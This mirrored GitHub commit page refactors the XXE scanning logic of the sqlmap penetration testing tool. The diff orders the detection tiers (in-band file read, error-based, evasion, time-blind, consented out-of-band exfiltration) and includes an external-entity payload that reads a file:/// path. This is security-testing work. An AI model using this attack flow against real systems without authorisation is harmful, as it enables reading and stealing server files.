mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-05 07:52:04 +00:00
More refactoring for --xxe
This commit is contained in:
parent
3cf29a543a
commit
103a0e6b0f
3 changed files with 34 additions and 17 deletions
|
|
@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
|
|||
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
|
||||
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
|
||||
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
|
||||
c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py
|
||||
d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py
|
||||
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
|
||||
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
|
||||
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
|
||||
|
|
@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
|
|||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
|
||||
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
|
||||
d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py
|
||||
e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py
|
||||
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
|
||||
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
|
||||
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.25"
|
||||
VERSION = "1.10.7.26"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
|||
|
|
@ -656,20 +656,23 @@ def xxeScan():
|
|||
logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName)
|
||||
|
||||
baseline = _send(xml)
|
||||
found = False
|
||||
found = False # an actual impact/oracle (file read, error-based, XInclude, blind)
|
||||
expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search)
|
||||
|
||||
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
|
||||
# processes entities; it is NOT yet external-entity file-read impact - so the
|
||||
# finding is worded conservatively and escalated only if an actual read follows.
|
||||
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
|
||||
# set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
|
||||
# run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
|
||||
payload, page = _tryInternal(xml, rootName, baseline)
|
||||
if payload:
|
||||
found = True
|
||||
expansionSeen = True
|
||||
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
|
||||
_report("In-band DTD/internal entity expansion", payload)
|
||||
|
||||
if conf.get("fileRead"):
|
||||
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
|
||||
if content:
|
||||
found = True
|
||||
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
|
||||
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
|
||||
_dumpFileRead(conf.fileRead, content)
|
||||
|
|
@ -680,12 +683,15 @@ def xxeScan():
|
|||
snippet = _tryPhpFilter(xml, rootName, baseline)
|
||||
systemId = "php://filter" if snippet else None
|
||||
if systemId:
|
||||
found = True
|
||||
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
|
||||
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
|
||||
|
||||
# T3: error-based (works where entities are not reflected but errors leak)
|
||||
# T3: error-based (works where entities are not reflected but errors leak). A
|
||||
# redundant detection channel once in-band reflection was already seen, so it is
|
||||
# skipped then - the file-read *impact* tiers below still run to try to upgrade.
|
||||
errorChannel = False
|
||||
if not found:
|
||||
if not found and not expansionSeen:
|
||||
payload, page = _tryError(xml, rootName)
|
||||
if payload:
|
||||
found = errorChannel = True
|
||||
|
|
@ -693,8 +699,8 @@ def xxeScan():
|
|||
logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend)
|
||||
_report("Error-based (parameter entity, back-end: '%s')" % backend, payload)
|
||||
|
||||
# T3b: no-egress error-based via local-DTD repurposing
|
||||
if not found:
|
||||
# T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected)
|
||||
if not found and not expansionSeen:
|
||||
payload, page = _tryLocalDtd(xml, rootName)
|
||||
if payload:
|
||||
found = errorChannel = True
|
||||
|
|
@ -721,16 +727,20 @@ def xxeScan():
|
|||
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
|
||||
_report("XInclude file read ('%s')" % systemId, payload)
|
||||
|
||||
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM)
|
||||
if not found:
|
||||
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16
|
||||
# variant re-detects internal-entity reflection, so it is redundant (and mislabels
|
||||
# as 'evasion') once reflection was already seen - skip it then.
|
||||
if not found and not expansionSeen:
|
||||
title, payload = _tryEvasions(xml, rootName, baseline)
|
||||
if title:
|
||||
found = True
|
||||
logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower())
|
||||
_report(title, payload)
|
||||
|
||||
# T6: time-based blind (no collector, no third party) - external entity to a non-routable host
|
||||
if not found:
|
||||
# T6: time-based blind (no collector, no third party) - external entity to a non-routable host.
|
||||
# Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow)
|
||||
# blind tiers add nothing and would needlessly stall.
|
||||
if not found and not expansionSeen:
|
||||
logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow")
|
||||
payload = _tryTimeBlind(xml, rootName)
|
||||
if payload:
|
||||
|
|
@ -738,10 +748,11 @@ def xxeScan():
|
|||
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
|
||||
_report("Time-based blind (external entity to non-routable host)", payload)
|
||||
|
||||
# T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO).
|
||||
# T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only
|
||||
# (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt).
|
||||
# Low-impact callback confirmation is the default; actual file exfiltration is
|
||||
# attempted only when the user explicitly asked for a file via '--file-read'.
|
||||
if not found and _oobConsent():
|
||||
if not found and not expansionSeen and _oobConsent():
|
||||
if conf.get("fileRead"):
|
||||
exfil = _tryOobExfil(xml, rootName)
|
||||
if exfil and (exfil["content"] or exfil["detected"]):
|
||||
|
|
@ -762,6 +773,12 @@ def xxeScan():
|
|||
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
|
||||
|
||||
if not found:
|
||||
if expansionSeen:
|
||||
# in-band entity processing is real, but no external-entity/blind oracle was reachable
|
||||
# (typically external entities disabled) - report honestly rather than overstate impact
|
||||
logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established")
|
||||
logger.info("XXE scan complete")
|
||||
return
|
||||
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser
|
||||
# from a merely non-reflecting one so the user knows why it did not fire.
|
||||
probe = _send(_buildDoctype(xml, rootName, '<!ENTITY %% p SYSTEM "file:///%s">%%p;' % SENTINEL))
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue